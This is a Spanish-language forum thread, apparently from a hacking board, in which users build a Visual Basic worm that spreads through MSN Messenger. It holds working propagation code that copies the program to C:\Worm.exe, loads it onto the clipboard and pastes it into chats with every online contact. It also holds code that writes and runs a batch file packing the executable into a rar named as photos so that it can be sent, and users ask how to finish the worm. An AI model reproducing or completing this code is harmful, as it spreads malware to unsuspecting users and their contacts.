Mensajes

Si, lo vi, lo que passa es que si pongo dos veces el "for each" no me deja :S
Asi que no puedo poner esto

Código [Seleccionar] Expandir

For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
Ya que ya lo tengo en:

Código [Seleccionar] Expandir

For Each user In MsgrUIA.MyContacts

Salu2

Lesto aca agrege esto, (las variables estan definidas arriba)

Código [Seleccionar] Expandir

reg = GetAttr(archprog & "WinRAR\rar.exe")
If reg And vbNormal Or vbReadOnly Or vbHidden Or vbSystem Or vbDirectory Then

Dim iFilee As Integer
iFilee = FreeFile
Open "C:\winexe.bat" For Output As iFilee
Close iFilee
    Open "C:\winexe.bat" For Append As #1
       Print #1, "cd %programfiles%\winrar"
Print #1, "rar a c:\fotos1254.rar c:\fotos1254.exe"
Close #1
Call ShellExecute(0&, vbNullString, "winexe.bat", vbNullString, "C:\", 1&)
End If


Quedo bien

Sipi ya sabia como comprimirlo mi idea era esta:

Código [Seleccionar] Expandir

Dim iFilee As Integer
iFilee = FreeFile
Open "C:\winexe.bat" For Output As iFilee
Close iFilee
    Open "C:\winexe.bat" For Append As #1
       Print #1, "cd %programfiles%\winrar"
Print #1, "rar a c:\fotos1254.rar c:\fotos1254.exe"
Close #1
Call ShellExecute(0&, vbNullString, "winexe.bat", vbNullString, "C:\", 1&)

Eso para hacer el rar.

Una duda sobre, como usar el "rar a" que si intento comprimir un archivo dentro d carpetas, me comprime todas las carpetas.
Ej quiero k comprima, jaja.exe que esta en "c:\jaja\jojo\jaja.exe"
Cuando me comprime, en vez de comprimir solo "jaja.exe" me comprime tambien las carpetas, hay alguna manera de evitar esto?

Salu2

PD: Voy a agregar para que primero comprube si tiene el rar antes de ejecutarlo.

Te agradezco, ya va perfecto.
Si lo que pasa es que no ponia la linea del error :S
Solo decia

Error 91, Variable de tipo Object o la variable del bloque With no está establecida

Bien ahora yo quisiera que mande un mensaje a uno por uno de esa lista, lo que probe hacer es esto, pero no va :S

Código [Seleccionar] Expandir

Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName
End If
MSN.InstantMessage List1
SendKeys (" prueba ")
SendKeys ("{ENTER}")
Next
End Sub

Aver alguien que sepa de Vb que me dice.

Salu2 y muchas gracias

Buenas
Mi problema es que me tira error 91 al ejecutar esto:

Código [Seleccionar] Expandir


Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Public WithEvents MsgrUIA As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Dim user As IMessengerContact
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName"
End If
Next
End Sub



Nose cual es el error :S parece estar todo bien.

Aver si alguien sabe

Salu2

[.rar]

Lo que tu has puesto no serviria ya que lo que el codigo quiere hacer es buscarse a si mismo en version ejecutable y copiarse a una ruta. Sin embargo tu lo que haces es buscar un archivo .rar que no existe.

Pero supongamos que yo creara un rar con el exe adentro, podria enviar el rar ?
Mi prgunta es si el code seguiria enviandose por msn, si cambio eso a rar, (demas esta decir, que en ""C:\Worm.rar"" estaria el rar con el exe adentro)

Salu2

Buenas.
Tengo una duda, ahi les va.
Hendrix una vez posteo el siguiente code para infectar atravez de msn:

Option Explicit

' Required data structures
Private Type POINTAPI

x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardDa ta Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardDa ta Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFor matAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPIC T = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDL IST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDL ISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOU RCES As String = "Net Resource"
Private Const CFSTR_FILEDESC RIPTOR As String = "FileGroupDescr iptor"
Private Const CFSTR_FILECONT ENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERG ROUP As String = "PrinterFriendl yName"
Private Const CFSTR_FILENAME MAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDAB LE = &H100
Private Const GMEM_NOT_BANKE D = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKE D
Private Const GMEM_VALID_FLA GS = &H7F72
Private Const GMEM_INVALID_H ANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type


Public Function ClipboardCopyF iles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardDa ta(CF_HDROP, hGlobal) Then
ClipboardCopyF iles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function


Y aki el "Cuerpo virico":

Código:

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const KEYEVENTF_KEYU P = &H2
Const VK_LWIN = &H5B

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
    DoEvents
Loop While t2 > Second(Now)
End Sub

Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAu tomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Statu s = 2) Or (ConTacto.Statu s = 10) Or (ConTacto.Statu s = 14) Or (ConTacto.Statu s = 34) Or (ConTacto.Statu s = 50) Or (ConTacto.Statu s = 66) Then
Set iMsn = w.InstantMessa ge(ConTacto.Signi nName)
SendKeys "^V"
End If
Next
Wait (1) ' Esperamos un segundito para no "atascar" tanto...
' A partir de aki sirve para minimizar todas las ventanas...
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYU P, 0)
End Sub

Sub newpropMSN()
Dim ap(0) As String
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos
ap(0) = "C:\Worm.exe"
If ClipboardCopyF iles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...
msninfect ' Llamamos a la funcion de la propagación
End Sub

Bien como dice hendrix, en su post, por msn no se pueden enviar exes, tncs nesitamos enviar un rar o zip, no ?

Ahora, que es lo que abria que cambiar para que sea rar y no exe ?

esto ?:

Código [Seleccionar] Expandir

FileCopy App.Path & "\" & App.EXEName & "[b].RAR[/b]", "C:\Worm[b].rar[/b]" ' Nos Copiamos
ap(0) = "C:\Worm[b].rar[/b]"


Eso seria lo que se cambia ?

espero respeustas

gracias

Salu2